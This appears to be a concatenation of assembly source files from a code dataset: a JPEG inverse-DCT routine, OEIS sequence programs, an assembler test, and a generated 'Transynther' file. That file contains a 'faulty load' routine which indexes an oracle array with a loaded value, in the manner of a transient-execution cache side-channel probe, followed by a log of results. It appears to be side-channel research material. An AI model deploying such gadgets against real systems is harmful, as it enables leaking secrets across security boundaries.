pmaddwd mm6,[GOTOFF(ebx,PW_MF060_MF050)] ; mm6=(tmp2L)
pmaddwd mm7,[GOTOFF(ebx,PW_MF060_MF050)] ; mm7=(tmp2H)
pmaddwd mm2,[GOTOFF(ebx,PW_F145_MF021)] ; mm2=(tmp0L)
pmaddwd mm3,[GOTOFF(ebx,PW_F145_MF021)] ; mm3=(tmp0H)
paddd mm6,mm4 ; mm6=tmp2L
paddd mm7,mm5 ; mm7=tmp2H
paddd mm2,mm0 ; mm2=tmp0L
paddd mm3,mm1 ; mm3=tmp0H
movq MMWORD [wk(0)], mm2 ; wk(0)=tmp0L
movq MMWORD [wk(1)], mm3 ; wk(1)=tmp0H
; -- Even part
movq mm4, MMWORD [MMBLOCK(0,0,esi,SIZEOF_JCOEF)]
movq mm5, MMWORD [MMBLOCK(2,0,esi,SIZEOF_JCOEF)]
movq mm0, MMWORD [MMBLOCK(6,0,esi,SIZEOF_JCOEF)]
pxor mm1,mm1
pxor mm2,mm2
punpcklwd mm1,mm4 ; mm1=tmp0L
punpckhwd mm2,mm4 ; mm2=tmp0H
psrad mm1,(16-CONST_BITS-1) ; psrad mm1,16 & pslld mm1,CONST_BITS+1
psrad mm2,(16-CONST_BITS-1) ; psrad mm2,16 & pslld mm2,CONST_BITS+1
movq mm3,mm5 ; mm5=in2=z2
punpcklwd mm5,mm0 ; mm0=in6=z3
punpckhwd mm3,mm0
pmaddwd mm5,[GOTOFF(ebx,PW_F184_MF076)] ; mm5=tmp2L
pmaddwd mm3,[GOTOFF(ebx,PW_F184_MF076)] ; mm3=tmp2H
movq mm4,mm1
movq mm0,mm2
paddd mm1,mm5 ; mm1=tmp10L
paddd mm2,mm3 ; mm2=tmp10H
psubd mm4,mm5 ; mm4=tmp12L
psubd mm0,mm3 ; mm0=tmp12H
; -- Final output stage
movq mm5,mm1
movq mm3,mm2
paddd mm1,mm6 ; mm1=data0L
paddd mm2,mm7 ; mm2=data0H
psubd mm5,mm6 ; mm5=data3L
psubd mm3,mm7 ; mm3=data3H
movq mm6,[GOTOFF(ebx,PD_DESCALE_P2_4)] ; mm6=[PD_DESCALE_P2_4]
paddd mm1,mm6
paddd mm2,mm6
psrad mm1,DESCALE_P2_4
psrad mm2,DESCALE_P2_4
paddd mm5,mm6
paddd mm3,mm6
psrad mm5,DESCALE_P2_4
psrad mm3,DESCALE_P2_4
packssdw mm1,mm2 ; mm1=data0=(00 10 20 30)
packssdw mm5,mm3 ; mm5=data3=(03 13 23 33)
movq mm7, MMWORD [wk(0)] ; mm7=tmp0L
movq mm6, MMWORD [wk(1)] ; mm6=tmp0H
movq mm2,mm4
movq mm3,mm0
paddd mm4,mm7 ; mm4=data1L
paddd mm0,mm6 ; mm0=data1H
psubd mm2,mm7 ; mm2=data2L
psubd mm3,mm6 ; mm3=data2H
movq mm7,[GOTOFF(ebx,PD_DESCALE_P2_4)] ; mm7=[PD_DESCALE_P2_4]
paddd mm4,mm7
paddd mm0,mm7
psrad mm4,DESCALE_P2_4
psrad mm0,DESCALE_P2_4
paddd mm2,mm7
paddd mm3,mm7
psrad mm2,DESCALE_P2_4
psrad mm3,DESCALE_P2_4
packssdw mm4,mm0 ; mm4=data1=(01 11 21 31)
packssdw mm2,mm3 ; mm2=data2=(02 12 22 32)
movq mm6,[GOTOFF(ebx,PB_CENTERJSAMP)] ; mm6=[PB_CENTERJSAMP]
packsswb mm1,mm2 ; mm1=(00 10 20 30 02 12 22 32)
packsswb mm4,mm5 ; mm4=(01 11 21 31 03 13 23 33)
paddb mm1,mm6
paddb mm4,mm6
movq mm7,mm1 ; transpose coefficients(phase 1)
punpcklbw mm1,mm4 ; mm1=(00 01 10 11 20 21 30 31)
punpckhbw mm7,mm4 ; mm7=(02 03 12 13 22 23 32 33)
movq mm0,mm1 ; transpose coefficients(phase 2)
punpcklwd mm1,mm7 ; mm1=(00 01 02 03 10 11 12 13)
punpckhwd mm0,mm7 ; mm0=(20 21 22 23 30 31 32 33)
mov edx, JSAMPROW [edi+0*SIZEOF_JSAMPROW]
mov esi, JSAMPROW [edi+2*SIZEOF_JSAMPROW]
movd DWORD [edx+eax*SIZEOF_JSAMPLE], mm1
movd DWORD [esi+eax*SIZEOF_JSAMPLE], mm0
psrlq mm1,4*BYTE_BIT
psrlq mm0,4*BYTE_BIT
mov edx, JSAMPROW [edi+1*SIZEOF_JSAMPROW]
mov esi, JSAMPROW [edi+3*SIZEOF_JSAMPROW]
movd DWORD [edx+eax*SIZEOF_JSAMPLE], mm1
movd DWORD [esi+eax*SIZEOF_JSAMPLE], mm0
emms ; empty MMX state
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
poppic ebx
mov esp,ebp ; esp <- aligned ebp
pop esp ; esp <- original ebp
pop ebp
ret
; --------------------------------------------------------------------------
;
; Perform dequantization and inverse DCT on one block of coefficients,
; producing a reduced-size 2x2 output block.
;
; GLOBAL(void)
; jsimd_idct_2x2_mmx (void * dct_table, JCOEFPTR coef_block,
; JSAMPARRAY output_buf, JDIMENSION output_col)
;
%define dct_table(b) (b)+8 ; void * dct_table
%define coef_block(b) (b)+12 ; JCOEFPTR coef_block
%define output_buf(b) (b)+16 ; JSAMPARRAY output_buf
%define output_col(b) (b)+20 ; JDIMENSION output_col
align 16
global EXTN(jsimd_idct_2x2_mmx)
EXTN(jsimd_idct_2x2_mmx):
push ebp
mov ebp,esp
push ebx
; push ecx ; need not be preserved
; push edx ; need not be preserved
push esi
push edi
get_GOT ebx ; get GOT address
; ---- Pass 1: process columns from input.
mov edx, POINTER [dct_table(ebp)] ; quantptr
mov esi, JCOEFPTR [coef_block(ebp)] ; inptr
; | input: | result: |
; | 00 01 ** 03 ** 05 ** 07 | |
; | 10 11 ** 13 ** 15 ** 17 | |
; | ** ** ** ** ** ** ** ** | |
; | 30 31 ** 33 ** 35 ** 37 | A0 A1 A3 A5 A7 |
; | ** ** ** ** ** ** ** ** | B0 B1 B3 B5 B7 |
; | 50 51 ** 53 ** 55 ** 57 | |
; | ** ** ** ** ** ** ** ** | |
; | 70 71 ** 73 ** 75 ** 77 | |
; -- Odd part
movq mm0, MMWORD [MMBLOCK(1,0,esi,SIZEOF_JCOEF)]
movq mm1, MMWORD [MMBLOCK(3,0,esi,SIZEOF_JCOEF)]
pmullw mm0, MMWORD [MMBLOCK(1,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm1, MMWORD [MMBLOCK(3,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
movq mm2, MMWORD [MMBLOCK(5,0,esi,SIZEOF_JCOEF)]
movq mm3, MMWORD [MMBLOCK(7,0,esi,SIZEOF_JCOEF)]
pmullw mm2, MMWORD [MMBLOCK(5,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm3, MMWORD [MMBLOCK(7,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
; mm0=(10 11 ** 13), mm1=(30 31 ** 33)
; mm2=(50 51 ** 53), mm3=(70 71 ** 73)
pcmpeqd mm7,mm7
pslld mm7,WORD_BIT ; mm7={0x0000 0xFFFF 0x0000 0xFFFF}
movq mm4,mm0 ; mm4=(10 11 ** 13)
movq mm5,mm2 ; mm5=(50 51 ** 53)
punpcklwd mm4,mm1 ; mm4=(10 30 11 31)
punpcklwd mm5,mm3 ; mm5=(50 70 51 71)
pmaddwd mm4,[GOTOFF(ebx,PW_F362_MF127)]
pmaddwd mm5,[GOTOFF(ebx,PW_F085_MF072)]
psrld mm0,WORD_BIT ; mm0=(11 -- 13 --)
pand mm1,mm7 ; mm1=(-- 31 -- 33)
psrld mm2,WORD_BIT ; mm2=(51 -- 53 --)
pand mm3,mm7 ; mm3=(-- 71 -- 73)
por mm0,mm1 ; mm0=(11 31 13 33)
por mm2,mm3 ; mm2=(51 71 53 73)
pmaddwd mm0,[GOTOFF(ebx,PW_F362_MF127)]
pmaddwd mm2,[GOTOFF(ebx,PW_F085_MF072)]
paddd mm4,mm5 ; mm4=tmp0[col0 col1]
movq mm6, MMWORD [MMBLOCK(1,1,esi,SIZEOF_JCOEF)]
movq mm1, MMWORD [MMBLOCK(3,1,esi,SIZEOF_JCOEF)]
pmullw mm6, MMWORD [MMBLOCK(1,1,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm1, MMWORD [MMBLOCK(3,1,edx,SIZEOF_ISLOW_MULT_TYPE)]
movq mm3, MMWORD [MMBLOCK(5,1,esi,SIZEOF_JCOEF)]
movq mm5, MMWORD [MMBLOCK(7,1,esi,SIZEOF_JCOEF)]
pmullw mm3, MMWORD [MMBLOCK(5,1,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm5, MMWORD [MMBLOCK(7,1,edx,SIZEOF_ISLOW_MULT_TYPE)]
; mm6=(** 15 ** 17), mm1=(** 35 ** 37)
; mm3=(** 55 ** 57), mm5=(** 75 ** 77)
psrld mm6,WORD_BIT ; mm6=(15 -- 17 --)
pand mm1,mm7 ; mm1=(-- 35 -- 37)
psrld mm3,WORD_BIT ; mm3=(55 -- 57 --)
pand mm5,mm7 ; mm5=(-- 75 -- 77)
por mm6,mm1 ; mm6=(15 35 17 37)
por mm3,mm5 ; mm3=(55 75 57 77)
pmaddwd mm6,[GOTOFF(ebx,PW_F362_MF127)]
pmaddwd mm3,[GOTOFF(ebx,PW_F085_MF072)]
paddd mm0,mm2 ; mm0=tmp0[col1 col3]
paddd mm6,mm3 ; mm6=tmp0[col5 col7]
; -- Even part
movq mm1, MMWORD [MMBLOCK(0,0,esi,SIZEOF_JCOEF)]
movq mm5, MMWORD [MMBLOCK(0,1,esi,SIZEOF_JCOEF)]
pmullw mm1, MMWORD [MMBLOCK(0,0,edx,SIZEOF_ISLOW_MULT_TYPE)]
pmullw mm5, MMWORD [MMBLOCK(0,1,edx,SIZEOF_ISLOW_MULT_TYPE)]
; mm1=(00 01 ** 03), mm5=(** 05 ** 07)
movq mm2,mm1 ; mm2=(00 01 ** 03)
pslld mm1,WORD_BIT ; mm1=(-- 00 -- **)
psrad mm1,(WORD_BIT-CONST_BITS-2) ; mm1=tmp10[col0 ****]
pand mm2,mm7 ; mm2=(-- 01 -- 03)
pand mm5,mm7 ; mm5=(-- 05 -- 07)
psrad mm2,(WORD_BIT-CONST_BITS-2) ; mm2=tmp10[col1 col3]
psrad mm5,(WORD_BIT-CONST_BITS-2) ; mm5=tmp10[col5 col7]
; -- Final output stage
movq mm3,mm1
paddd mm1,mm4 ; mm1=data0[col0 ****]=(A0 **)
psubd mm3,mm4 ; mm3=data1[col0 ****]=(B0 **)
punpckldq mm1,mm3 ; mm1=(A0 B0)
movq mm7,[GOTOFF(ebx,PD_DESCALE_P1_2)] ; mm7=[PD_DESCALE_P1_2]
movq mm4,mm2
movq mm3,mm5
paddd mm2,mm0 ; mm2=data0[col1 col3]=(A1 A3)
paddd mm5,mm6 ; mm5=data0[col5 col7]=(A5 A7)
psubd mm4,mm0 ; mm4=data1[col1 col3]=(B1 B3)
psubd mm3,mm6 ; mm3=data1[col5 col7]=(B5 B7)
paddd mm1,mm7
psrad mm1,DESCALE_P1_2
paddd mm2,mm7
paddd mm5,mm7
psrad mm2,DESCALE_P1_2
psrad mm5,DESCALE_P1_2
paddd mm4,mm7
paddd mm3,mm7
psrad mm4,DESCALE_P1_2
psrad mm3,DESCALE_P1_2
; ---- Pass 2: process rows, store into output array.
mov edi, JSAMPARRAY [output_buf(ebp)] ; (JSAMPROW *)
mov eax, JDIMENSION [output_col(ebp)]
; | input:| result:|
; | A0 B0 | |
; | A1 B1 | C0 C1 |
; | A3 B3 | D0 D1 |
; | A5 B5 | |
; | A7 B7 | |
; -- Odd part
packssdw mm2,mm4 ; mm2=(A1 A3 B1 B3)
packssdw mm5,mm3 ; mm5=(A5 A7 B5 B7)
pmaddwd mm2,[GOTOFF(ebx,PW_F362_MF127)]
pmaddwd mm5,[GOTOFF(ebx,PW_F085_MF072)]
paddd mm2,mm5 ; mm2=tmp0[row0 row1]
; -- Even part
pslld mm1,(CONST_BITS+2) ; mm1=tmp10[row0 row1]
; -- Final output stage
movq mm0,[GOTOFF(ebx,PD_DESCALE_P2_2)] ; mm0=[PD_DESCALE_P2_2]
movq mm6,mm1
paddd mm1,mm2 ; mm1=data0[row0 row1]=(C0 C1)
psubd mm6,mm2 ; mm6=data1[row0 row1]=(D0 D1)
paddd mm1,mm0
paddd mm6,mm0
psrad mm1,DESCALE_P2_2
psrad mm6,DESCALE_P2_2
movq mm7,mm1 ; transpose coefficients
punpckldq mm1,mm6 ; mm1=(C0 D0)
punpckhdq mm7,mm6 ; mm7=(C1 D1)
packssdw mm1,mm7 ; mm1=(C0 D0 C1 D1)
packsswb mm1,mm1 ; mm1=(C0 D0 C1 D1 C0 D0 C1 D1)
paddb mm1,[GOTOFF(ebx,PB_CENTERJSAMP)]
movd ecx,mm1
movd ebx,mm1 ; ebx=(C0 D0 C1 D1)
shr ecx,2*BYTE_BIT ; ecx=(C1 D1 -- --)
mov edx, JSAMPROW [edi+0*SIZEOF_JSAMPROW]
mov esi, JSAMPROW [edi+1*SIZEOF_JSAMPROW]
mov WORD [edx+eax*SIZEOF_JSAMPLE], bx
mov WORD [esi+eax*SIZEOF_JSAMPLE], cx
emms ; empty MMX state
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
pop ebx
pop ebp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
| 30.946252 | 79 | 0.655514 |
4fefb77d17096c490b81f8365723fe935b7110f2 | 530 | asm | Assembly | programs/oeis/027/A027693.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/027/A027693.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/027/A027693.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A027693: a(n) = n^2 + n + 8.
; 8,10,14,20,28,38,50,64,80,98,118,140,164,190,218,248,280,314,350,388,428,470,514,560,608,658,710,764,820,878,938,1000,1064,1130,1198,1268,1340,1414,1490,1568,1648,1730,1814,1900,1988,2078,2170,2264,2360,2458,2558,2660,2764,2870,2978,3088,3200,3314,3430,3548,3668,3790,3914,4040,4168,4298,4430,4564,4700,4838,4978,5120,5264,5410,5558,5708,5860,6014,6170,6328,6488,6650,6814,6980,7148,7318,7490,7664,7840,8018,8198,8380,8564,8750,8938,9128,9320,9514,9710,9908
mov $1,$0
pow $0,2
add $0,$1
add $0,8
| 66.25 | 459 | 0.737736 |
26f563c68e4a219118bbffe82d4580b2ef2bc464 | 7,734 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1702.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1702.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_1702.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x10782, %rsi
lea addresses_WT_ht+0xa3fc, %rdi
cmp $28642, %r14
mov $35, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x12684, %rsi
lea addresses_UC_ht+0x12b2c, %rdi
nop
nop
add $25517, %rax
mov $63, %rcx
rep movsb
cmp $22776, %rax
lea addresses_UC_ht+0x468c, %rbx
nop
nop
nop
and $20470, %rsi
movl $0x61626364, (%rbx)
nop
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_D_ht+0x14aac, %rsi
nop
nop
cmp %r13, %r13
movw $0x6162, (%rsi)
nop
nop
and %r13, %r13
lea addresses_UC_ht+0x1a00c, %rsi
clflush (%rsi)
nop
nop
nop
sub $59780, %rbx
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
add %rax, %rax
lea addresses_WC_ht+0x1884c, %rcx
clflush (%rcx)
nop
nop
and %r14, %r14
mov (%rcx), %ax
add $1000, %r13
lea addresses_A_ht+0x93cc, %r13
add %rcx, %rcx
movl $0x61626364, (%r13)
nop
nop
nop
nop
and %r14, %r14
lea addresses_UC_ht+0x14344, %rsi
lea addresses_WC_ht+0x1494c, %rdi
nop
nop
nop
nop
sub $15800, %r13
mov $18, %rcx
rep movsl
nop
nop
nop
nop
add %rax, %rax
lea addresses_WT_ht+0xd10c, %rdi
nop
nop
nop
nop
xor $36239, %rcx
mov $0x6162636465666768, %r14
movq %r14, %xmm4
movups %xmm4, (%rdi)
nop
nop
nop
nop
nop
cmp $5116, %r13
lea addresses_D_ht+0x794c, %rax
nop
nop
nop
dec %r13
movl $0x61626364, (%rax)
nop
and $41256, %rbx
lea addresses_WC_ht+0xd7ac, %rsi
lea addresses_UC_ht+0x1d6, %rdi
nop
nop
nop
nop
and $56519, %rbp
mov $92, %rcx
rep movsl
xor %rbp, %rbp
lea addresses_D_ht+0xa34c, %rsi
lea addresses_D_ht+0x1c5cc, %rdi
nop
nop
nop
nop
xor %r13, %r13
mov $21, %rcx
rep movsq
nop
nop
nop
nop
and $48686, %r13
lea addresses_WC_ht+0xb7bc, %rbx
nop
nop
nop
nop
xor $48907, %rdi
movups (%rbx), %xmm7
vpextrq $0, %xmm7, %r14
nop
dec %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
// Load
lea addresses_US+0x1ba2c, %r9
nop
sub %r8, %r8
movups (%r9), %xmm0
vpextrq $0, %xmm0, %rdi
nop
nop
xor %rdi, %rdi
// Store
lea addresses_RW+0x1b54c, %rsi
nop
nop
nop
xor $15525, %rcx
movw $0x5152, (%rsi)
cmp $63175, %rdi
// Faulty Load
lea addresses_WT+0x1214c, %rbp
nop
xor %r9, %r9
mov (%rbp), %r8w
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WT', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_US', 'same': False, 'size': 16, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 7, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_WT', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 33.480519 | 2,999 | 0.654642 |
25dfb79b295f54daeb11da6202aaf6812f6ff945 | 1,356 | asm | Assembly | programs/oeis/231/A231896.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/231/A231896.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/231/A231896.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A231896: a(n) = 4*a(n-1) - a(n-2) with a(0) = 0, a(1) = 4.
; 0,4,16,60,224,836,3120,11644,43456,162180,605264,2258876,8430240,31462084,117418096,438210300,1635423104,6103482116,22778505360,85010539324,317263651936,1184044068420,4418912621744,16491606418556,61547513052480,229698445791364,857246270112976,3199286634660540,11939900268529184,44560314439456196,166301357489295600,620645115517726204,2316279104581609216,8644471302808710660,32261606106653233424,120401953123804223036,449346206388563658720,1676982872430450411844,6258585283333237988656,23357358260902501542780,87170847760276768182464,325326032780204571187076,1214133283360541516565840,4531207100661961495076284,16910695119287304463739296,63111573376487256359880900,235535598386661720975784304,879030820170159627543256316,3280587682293976789197240960,12243319909005747529245707524,45692691953729013327785589136,170527447905910305781896649020,636417099669912209799801006944,2375140950773738533417307378756,8864146703425041923869428508080,33081445862926429162060406653564,123461636748280674724372198106176,460765101130196269735428385771140,1719598767772504404217341344978384,6417629969959821347133936994142396,23950921112066780984318406631591200,89386054478307302590139689532222404,333593296801162429376240351497298416
mov $2,4
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $2,$1
lpe
mov $0,$1
| 113 | 1,216 | 0.896018 |
e3c82cd0fa6c43dc4878df7c91f70b99149beb1a | 26,737 | asm | Assembly | test/ptr.asm | killvxk/AssemblyLine | 2a20ec925532875c2f3bb5d423eb38a00bc5c91d | [
"Apache-2.0"
] | 147 | 2021-09-01T03:52:49.000Z | 2022-03-30T16:59:58.000Z | test/ptr.asm | killvxk/AssemblyLine | 2a20ec925532875c2f3bb5d423eb38a00bc5c91d | [
"Apache-2.0"
] | 7 | 2021-09-10T07:03:36.000Z | 2022-03-03T23:30:58.000Z | test/ptr.asm | killvxk/AssemblyLine | 2a20ec925532875c2f3bb5d423eb38a00bc5c91d | [
"Apache-2.0"
] | 19 | 2021-09-09T10:54:44.000Z | 2022-03-18T19:56:45.000Z | SECTION .text
GLOBAL test
test:
mov ax, word [rax]
mov ax, word [rbx]
mov ax, word [rcx]
mov ax, word [rdx]
mov ax, word [rdi]
mov ax, word [r8]
mov ax, word [r9]
mov ax, word [r10]
mov ax, word [r11]
mov ax, word [r12]
mov ax, word [r13]
mov ax, word [r14]
mov ax, word [r15]
mov ax, word [rsp]
mov ax, word [rsi]
mov ax, word [rbp]
mov bx, word [rax]
mov bx, word [rbx]
mov bx, word [rcx]
mov bx, word [rdx]
mov bx, word [rdi]
mov bx, word [r8]
mov bx, word [r9]
mov bx, word [r10]
mov bx, word [r11]
mov bx, word [r12]
mov bx, word [r13]
mov bx, word [r14]
mov bx, word [r15]
mov bx, word [rsp]
mov bx, word [rsi]
mov bx, word [rbp]
mov cx, word [rax]
mov cx, word [rbx]
mov cx, word [rcx]
mov cx, word [rdx]
mov cx, word [rdi]
mov cx, word [r8]
mov cx, word [r9]
mov cx, word [r10]
mov cx, word [r11]
mov cx, word [r12]
mov cx, word [r13]
mov cx, word [r14]
mov cx, word [r15]
mov cx, word [rsp]
mov cx, word [rsi]
mov cx, word [rbp]
mov dx, word [rax]
mov dx, word [rbx]
mov dx, word [rcx]
mov dx, word [rdx]
mov dx, word [rdi]
mov dx, word [r8]
mov dx, word [r9]
mov dx, word [r10]
mov dx, word [r11]
mov dx, word [r12]
mov dx, word [r13]
mov dx, word [r14]
